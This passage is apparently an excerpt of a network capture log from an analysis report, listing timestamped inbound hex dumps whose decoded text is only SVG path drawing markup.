2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M760.05,112.46a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M759.79,104
2023-07-27 19:54:39 UTC	7701	IN	Data Raw: 4d 36 36 31 2e 31 36 2c 33 38 31 2e 31 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 36 31 2e 32 33 2c 33 37 32 2e 34 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e Data Ascii: M661.16,381.13a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M661.23,372.45a2.16,2.16,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.
2023-07-27 19:54:39 UTC	7717	IN	Data Raw: 32 33 33 2e 38 31 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 39 2c 32 32 35 2e 31 33 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e Data Ascii: 233.81a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M689,225.13a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.
2023-07-27 19:54:39 UTC	7733	IN	Data Raw: 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2e 34 33 2c 33 32 30 2e 39 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 Data Ascii: -4.13-1.35,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path class="cls-9" d="M723.43,320.92a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path clas
2023-07-27 19:54:39 UTC	7749	IN	Data Raw: 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 38 36 2c 34 31 36 2e 37 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 39 33 2c 34 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 Data Ascii: ,0,0,1,3.61.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M757.86,416.72a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M757.93,408a2.15,2.15,0,0
2023-07-27 19:54:39 UTC	7765	IN	Data Raw: 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 36 32 2c 32 36 39 2e 33 39 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 Data Ascii: 1,0,3.58"></path><path class="cls-9" d="M785.62,269.39a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.19,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0
2023-07-27 19:54:39 UTC	7781	IN	Data Raw: 4d 38 32 30 2e 30 35 2c 33 36 35 2e 31 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 31 33 2c 33 35 36 2e 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c Data Ascii: M820.05,365.18a2.16,2.16,0,0,1-1.09,2.76,3.17,3.17,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M820.13,356.5a2.16,2.16,0,0,1-1.1,2.76,3.16,3.16,0,0,1-4.12-1.36,3,3,0,0,1,.8-3.58,2.8,2.8,0,
2023-07-27 19:54:39 UTC	7797	IN	Data Raw: 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 34 2e 35 36 2c 34 35 32 2e 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 Data Ascii: 2.75,3.15,3.15,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M854.56,452.3a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58
2023-07-27 19:54:39 UTC	7813	IN	Data Raw: 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 33 32 2c 33 30 35 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 34 2c 32 39 36 2e 32 39 61 32 2e 31 35 2c Data Ascii: .82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M882.32,305a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M882.4,296.29a2.15,
2023-07-27 19:54:39 UTC	7829	IN	Data Raw: 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 37 35 2c 34 30 30 2e 37 37 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 38 33 2c 33 39 32 2e 30 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 Data Ascii: 0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M916.75,400.77a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M916.83,392.09a2.16,2.16,0,0
2023-07-27 19:54:39 UTC	7845	IN	Data Raw: 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 35 32 2c 32 35 33 2e 34 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 36 2c 32 34 34 2e 37 36 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e Data Ascii: "cls-9" d="M944.52,253.44a2.16,2.16,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M944.6,244.76a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.
2023-07-27 19:54:39 UTC	7861	IN	Data Raw: 37 37 2c 32 32 35 2e 35 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 34 39 2e 34 37 2c 32 31 36 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 Data Ascii: 77,225.59a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M49.47,216.82a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3
2023-07-27 19:54:39 UTC	7877	IN	Data Raw: 22 20 64 3d 22 4d 38 38 2e 34 32 2c 33 31 32 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 38 38 2e 31 32 2c 33 30 33 2e 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 41 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2c 38 32 2e 39 2c 33 30 35 61 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 Data Ascii: " d="M88.42,312.18a2.18,2.18,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M88.12,303.4a2.19,2.19,0,0,1-1,2.83A3.2,3.2,0,0,1,82.9,305a3,3,0,0,1,.65-3.65,2.86,2.86,0
2023-07-27 19:54:39 UTC	7893	IN	Data Raw: 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 30 39 2e 38 33 2c 31 35 33 2e 32 35 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 Data Ascii: 1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M109.83,153.25a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7"
2023-07-27 19:54:39 UTC	7909	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 37 37 2c 32 34 38 2e 36 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 34 37 2c 32 33 39 2e 38 33 61 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.77,248.61a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.47,239.83a
2023-07-27 19:54:39 UTC	7925	IN	Data Raw: 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 34 38 2c 39 38 2e 34 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 31 38 2c 38 39 2e 36 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 Data Ascii: 69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.48,98.46a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.18,89.69a2.16,2.16,0,0,1-1,2.82
2023-07-27 19:54:39 UTC	7941	IN	Data Raw: 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 34 32 2c 31 39 33 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 31 33 2c 31 38 35 2e 30 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 Data Ascii: ,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M209.42,193.82a2.17,2.17,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M209.13,185.05a2.17,2.17,0,0,1-1,2.82,3.18
2023-07-27 19:54:39 UTC	7957	IN	Data Raw: 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 33 37 2c 32 38 39 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 30 37 2c 32 38 30 2e 34 31 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 Data Ascii: 9,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.37,289.18a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.07,280.41a2.16,2.16,0,0,1-1,2.82,3.17,3.17
2023-07-27 19:54:39 UTC	7973	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 37 30 2e 30 38 2c 31 33 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 36 39 2e 37 38 